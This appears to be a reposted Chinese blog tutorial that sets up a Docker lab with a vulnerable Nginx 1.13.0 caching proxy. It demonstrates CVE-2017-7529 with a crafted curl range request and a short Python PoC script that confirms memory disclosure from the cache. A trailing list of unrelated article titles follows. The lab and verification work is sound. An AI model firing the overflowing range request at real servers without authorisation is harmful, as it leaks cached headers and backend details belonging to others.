使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证
来源:互联网 发布:淘宝手机端网址转化 编辑:程序博客网 时间:2024/06/05 06:11
漏洞具体信息可以看http://www.freebuf.com/articles/terminal/140402.html
创建容器:
使用之前制好的镜像ubuntu_aliyun:1.0创建新容器:
docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0
docker exec -it id /bin/bash
apt-get update
然后安装必要的包,如:
apt-get install wget gcc make curl vim python
安装Nginx:
有两种安装的方法一种是直接通过apt-get install nginx,这样当前测试安装的版本是1.10.3,但不推荐这种安装,默认安装的都是官网有打补丁的(不过没有测试);
另一种方法就是源代码安装,这里下载1.13.0版本:
wget http://nginx.org/download/nginx-1.13.0.tar.gz
tar -zxvf nginx-1.13.0.tar.gz
cd /nginx
./configure --prefix=/opt/nginx
make
make install
期间在运行configure时会提示需要安装相应的库:
apt-get install libpcre3 libpcre3-dev zlib1g-dev
然后再make和make install就好,接着进入Nginx的目录,查看版本并开启:
配置反向代理:
到/home目录中新建test.html测试文件,然后输入命令:
nohup python -m SimpleHTTPServer 8080 &
该命令会建立简单的HTTP服务器并在后台运行。
通过curl确认可以访问:
然后修改Nginx配置文件:
vim /opt/nginx/conf/nginx.conf
在http的server中的lication中添加:
proxy_pass http://127.0.0.1:8080;
保存退出,重启Nginx(先kill掉相关进程再./nginx开启)。
然后在物理机访问看看:
访问如图则反向代理配置成功。
修改nginx.conf文件测试漏洞:
按照开头FreeBuf那篇文章的内容进行修改,这里的图片URL是当时看博客的时候随意找的一个,红框里的内容是添加、修改的内容:
两次调用curl命令,可以看到header中有X-Proxy-Cache字段且其值从第一次的MISS到第二次为HIT,即通过两次访问有了命中缓存,另外也可以看到该图片文件的大小为152814bits:
然后查找Nginx缓存文件的路径:
find /tmp/nginx
找到路径最长的那个,通过head命令查看开头前几行看看:
可以看到其存在“KEY”关键字,即是实现两层的缓存,可以看到真正的图片所在的服务器和Nginx服务器之间的header信息。
下面来计算相关的range值:
图片的大小记为img_len,则img_len=152814
总的大小值记为len,则len=0×8000000000000000
为了让第一个范围值range1向前读取其他数据,range1和img_len的差值最好保持在600左右(个人测试其他数值,太大或太小都会影响结果),即range1-img_len=600,得出range1=153414
第二个范围值range2=len-range1,即可得出range2=9223372036854622394
最后将两个range值放到curl的-r参数中即可,由于输出较多就输出到一个文件中再查看即可:
curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt
vim 1.txt
可以看到,有KEY关键字,即查看到了Nginx和原来的服务器的一些信息,其中header中有Content-Range字段,其值正是设置的range值的范围,即验证了Nginx整数溢出漏洞的存在。
编写PoC验证:
下面的这段脚本比较简略,直接使用Linux的curl命令来实现验证,因而在Linux中运行。
#!/usr/bin/python#coding=utf-8import osimport commandsimport sysdef poc(url):print '[*]Testing for: ' + urlcmd1 = 'curl -I ' + urlos.popen(cmd1)os.popen(cmd1)re1 = commands.getoutput(cmd1).split('\n')hit = Falsehas_x_proxy_cache = Falseimg_len = 0for i in range(0,len(re1)):# print re1[i]if 'X-Proxy-Cache' in re1[i]:has_x_proxy_cache = Trueif 'HIT' in re1[i]:hit = Trueif 'Content-Length' in re1[i]:img_len = int(re1[i].split(' ')[1])if has_x_proxy_cache:if hit:print '[*]X-Proxy-Cache is HIT.'print '[*]The image length: ' + str(img_len)len1 = img_len + 600len2 = 0x8000000000000000 - len1cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2)re2 = commands.getoutput(cmd2).split('\n')vul = Falsefor i in range(0,len(re2)):if 'KEY' in re2[i]:print '[+]Nginx Int Overflow(CVE-2017-7529) exists!'print '[+]' + re2[i]vul = Trueif not vul:print '[-]Can not find the vuln.'else:print '[-]The X-Proxy-Cache is MISS.'print '[-]Can not find the vuln.'else:print '[-]The header without X-Proxy-Cache.'print '[-]Can not find the vuln.'def main():if len(sys.argv) == 2:url = sys.argv[1]poc(url)else:print '[*]Usage: python nginx_int_overflow.py [URL]'if __name__ == '__main__':main()
在另外一台docker容器kali-linux-docker中运行脚本(注意验证的前提是当前主机还没访问过该URL或者访问已经过去很久了,就是验证的时候不能存在缓存即可):
可以看到,成功验证了该漏洞的存在。
制成Docker镜像并打包:
exit
docker stop id
docker commit id nginx_int_overflow:1.0
docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0
至此完成了Nginx整数溢出漏洞环境的搭建和PoC的验证,其中该脚本有很多地方可以去优化的以及编写Windows下的PoC,有时间再改改吧~
- 使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证
- 使用Docker搭建Struts2-048漏洞环境及Python PoC验证
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)
- Nginx range过滤器整形溢出漏洞 (CVE–2017–7529)预警分析
- Office远程代码执行漏洞POC样本分析(CVE-2017-11882)
- BlueBorne远程代码执行漏洞Poc实战(CVE-2017-0781)
- Samba漏洞(CVE-2015-0240)poc分析
- CVE-2014-6332浅析-Internet Explorer整数溢出漏洞
- CVE-2017-0214Poc
- ClamAV堆溢出及整数溢出漏洞
- CVE-2017-8464 转载poc
- 危害9亿安卓设备高通漏洞细节曝光(CVE-2016-3842,含POC)
- Tomcat曝本地提权漏洞 (CVE-2016-1240 附PoC)
- 平滑升级Nginx到新版本v1.12.1修复Nginx最新漏洞CVE-2017-7529
- CVE-2017-7269浅析-IIS6.0栈溢出漏洞
- CVE-2017-6008浅析-HitmanPro内核池溢出漏洞(Win7)
- 漏洞分析之CVE-2010-2883(栈溢出)
- 程序运行时间测试
- 测试粘包现象
- c++中cout能不能直接输出string
- python sorted【转】
- 制作视频_“平面的导演”
- 使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证
- 【字符串入门专题1】 E
- 事件
- 华为上机测试-删数-循环链表解决
- Linux下的虚拟串口驱动(二)
- 概率DP [SCOI2008]奖励关
- Oracle的游标
- 2017年上半年软件设计师考试大纲
- 2017.08.08【NOIP提高组】模拟赛B组